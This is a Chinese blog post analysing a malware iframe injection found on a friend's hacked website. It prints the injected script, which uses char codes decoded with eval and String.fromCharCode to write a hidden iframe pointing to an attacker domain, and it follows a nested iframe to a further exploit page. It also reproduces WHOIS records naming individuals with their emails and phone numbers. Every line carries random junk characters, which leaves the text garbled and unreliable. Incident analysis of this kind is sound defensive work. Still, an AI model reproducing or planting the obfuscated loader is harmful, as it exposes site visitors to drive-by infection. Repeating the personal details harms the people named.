首发在我的博客里面，
zG{P5@:.R /z! Tgs4 http://www.areway.cn/?p=175 U$|q] N e.\dqt~%y <p/z m}?') 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
DG?g~{Y~b t'1g+g <script>t=’60,105,102,114,97,109,101,
Qo32oT[DM 32,115,114,99,61,104,116,116,112,58,47,47,
,BUrZA2\U$ 102,114,101,101,46,117,45,117,117,117,46,99,
1oe,>\\ 110,47,101,114,114,111,114,46,104,116,109,
ulE5lG0c 32,119,105,100,116,104,61,49,48,48,32,104,
X !_&%^L ' 101,105,103,104,116,61,48,62,60,47,105,102,
e>6|# d 114,97,109,101,62′;
@Bds0t t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
{7jl) x3 l X$e*s\4 <script>t=’60,105,102,114,97,109,101,32,115,
!0d Qfj^_ 114,99,61,104,116,116,112,58,47,47,102,114,
i-PK59VZ8f 101,101,46,117,45,117,117,117,46,99,110,47,
=^1jVaAL 101,114,114,111,114,46,104,116,109,32,119,
EQN)y27poW 105,100,116,104,61,49,48,48,32,104,101,105,
tk]D)+{u&c 103,104,116,61,48,62,60,47,105,102,114,97,
i\ <S ; 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
k4a51[SYBK document.write(t);</script>
_3(rwD !wN2BCSY@ <html xmlns=”
\3OEC` http://www.w3.org/1999/xhtml Ge _fU'F “>
+5S>"KAUt0 <head>
@^T~W^+ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
p#).;\M <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
?7}ybw3t] <title>首页 - 爱生活家庭网
C$q};7b1N 4GbfA
.u 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
LaO8)lqR 转换字符串后的大概内容是（谁点击后果自付）：
a*-9n-U@[k <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
( <YBvpt4> EsGf+-}|!0 查询玉米u-uuu.cn的详细信息：
6R,Y.srR Domain Name: u-uuu.cn
( +Sv3h ROID: 20070901s10001s64972306-cn
t L3R<' Domain Status: ok
E*O ($tS Registrant Organization: 王雷
`6)(Fk --" Registrant Name: 王雷
)X-'Q - Administrative Email:
czlovexs@126.com +j{(NwsX Sponsoring Registrar: 北京万网志成科技有限公司
TG[u3 Y4 Name Server:ns.yovole.com
-'Ay(h Name Server:ns1.yovole.com
rRg,{:;A Registration Date: 2007-09-01 17:54
D'< L6w` Expiration Date: 2008-09-01 17:54
R\|,GZ!`+ 最后PING了一下地址 都没有什么….
^R =`<jx ;89kL] 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
8T1zL.u>q <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
VcGl8~#9 <script language=”javascript” src=”
>ei~ :z]R http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script >MJ#|vO >
E447'aJ 这个玉米应该有可能是木马作者的：
Pr1q X5> = foafau.info的详细信息：
_aR{B-E Access to INFO WHOIS information is provided to assist persons in
ulxfxfd determining the contents of a domain name registration record in the
1^LdYO?g' Afilias registry database. The data in this record is provided by
("\{=XA Q Afilias Limited for informational purposes only, and Afilias does not
Ie(i1?`A8 guarantee its accuracy. This service is intended only for query-based
Ym 1 vq= access. You agree that you will use this data only for lawful purposes
tPQ|znB| and that, under no circumstances will you use this data to: (a) allow,
yfK}1mx)j enable, or otherwise support the transmission by e-mail, telephone, or
"h#R>3I1) facsimile of mass unsolicited, commercial advertising or solicitations
g:z<CSIq/ to entities other than the data recipient’s own existing customers; or
D# UuIZ (b) enable high volume, automated, electronic processes that send
''YqxJ fb queries or data to the systems of Registry Operator, a Registrar, or
g]lEG>y1R Afilias except as reasonably necessary to register domain names or
p ;>A:i modify existing registrations. All rights reserved. Afilias reserves
u
[._RA the right to modify these terms at any time. By submitting this query,
`mzlOB you agree to abide by this policy.
M2Jf-2 Domain ID:D22418703-LRMS
Ux7LN @4og Domain Name:FOAFAU.INFO
Ez;Q o8 Created On:20-Nov-2007 16:05:42 UTC
JD#x+~pb,8 Last Updated On:20-Nov-2007 16:05:44 UTC
7b+r LyS0 Expiration Date:20-Nov-2008 16:05:42 UTC
h <e Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
k?Z:=.YW Status:CLIENT DELETE PROHIBITED
K_;vqi^1^& Status:CLIENT RENEW PROHIBITED
tsAV4 6S Status:CLIENT TRANSFER PROHIBITED
[
N|X Status:CLIENT UPDATE PROHIBITED
!{g<RS( c Status:TRANSFER PROHIBITED
rz@q W 2 Registrant ID:GODA-040110615
&J)<1!| Registrant Name:liu hong
_ ;B wP Registrant Organization:
1(-!TJ{ Registrant Street1:beijing
(iX8YP$ % Registrant Street2:
!gve]>M Registrant Street3:
&cL1 EQ( Registrant City:beijing
lG)wa Registrant State/Province:
\P* _zd@% Registrant Postal Code:100000
l)9IgJ|<b Registrant Country:CN
bZNqv-5 4h Registrant Phone:+86.860108888777
<%m YsaM Registrant Phone Ext.:
+b(};(wL Registrant FAX:
i'm <{ v Registrant FAX Ext.:
5Jbwl$mZ Registrant Email:bbbshiji@163.com
+P^
;7"H Admin ID:GODA-240110615
#7 3p ryXV Admin Name:liu hong
{1)A"lQu Admin Organization:
SI=$s>1 Admin Street1:beijing
= 0pt-FQ Admin Street2:
h+}BtKA Admin Street3:
f`n4'dG Admin City:beijing
Z^_qXerjP Admin State/Province:
!?nbB2, Admin Postal Code:100000
q#tUDxf(| Admin Country:CN
5p (zhfuG Admin Phone:+86.860108888777
_K o#36.S Admin Phone Ext.:
C`hdj/!A Admin FAX:
eR$ @Q Admin FAX Ext.:
3[ xdls Admin Email:bbbshiji@163.com
EC OJ .^ Billing ID:GODA-340110615
~ Q&J\'GQH Billing Name:liu hong
} :0_%=)N< Billing Organization:
ob \-OMNs@ Billing Street1:beijing
K6kz{R%` Billing Street2:
hx9{?3# Billing Street3:
--W Qr]U/ Billing City:beijing
/K#k_k Billing State/Province:
S"cTi [9 Billing Postal Code:100000
m\56B P-AM Billing Country:CN
5dePpF D5 Billing Phone:+86.860108888777
~w? 02FU Billing Phone Ext.:
fzIs^(:fl Billing FAX:
; ~pgF_ Billing FAX Ext.:
r[S(VPo[() Billing Email:bbbshiji@163.com
J#I RbO) Tech ID:GODA-140110615
+/ZIs|B4,z Tech Name:liu hong
i>YS%&O? Tech Organization:
2!{D~Gfl= Tech Street1:beijing
fB8, )& Tech Street2:
#7]Jz.S Tech Street3:
L,}' ST Tech City:beijing
g'7E6n"!, Tech State/Province:
+>"s)R43 Tech Postal Code:100000
1,-C*T}nR Tech Country:CN
XwY,xg&o Tech Phone:+86.860108888777
jr=9.=jI8k Tech Phone Ext.:
&DLWlMGq Tech FAX:
iH8we, s' Tech FAX Ext.:
wXIR n?z Tech Email:bbbshiji@163.com
B*T n@t W Name Server:NS27.DOMAINCONTROL.COM
)[ V8YiyU Name Server:NS28.DOMAINCONTROL.COM
F w 0 m(7 Name Server:
{DRk{>K, Name Server:
*?FVLE Name Server:
.d<K` .O ; Name Server:
UxGu1a Name Server:
(BEe^]f Name Server:
YvJFZ_faX Name Server:
?9`j1[0 Name Server:
`HX:U3/ Name Server:
V$?6%\M^* Name Server:
k+J%o%* < Name Server:
[d`E9&Hv3 KN}#8.'>3 接着下载每个文件里面的代码：
E_
wVAz3 一步一步看..
j%6p:wDl 
]SQ+r*a 
fx;rMGa 
) x6 & Y 
t7f(%/] H0 
> Vm}u`x 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
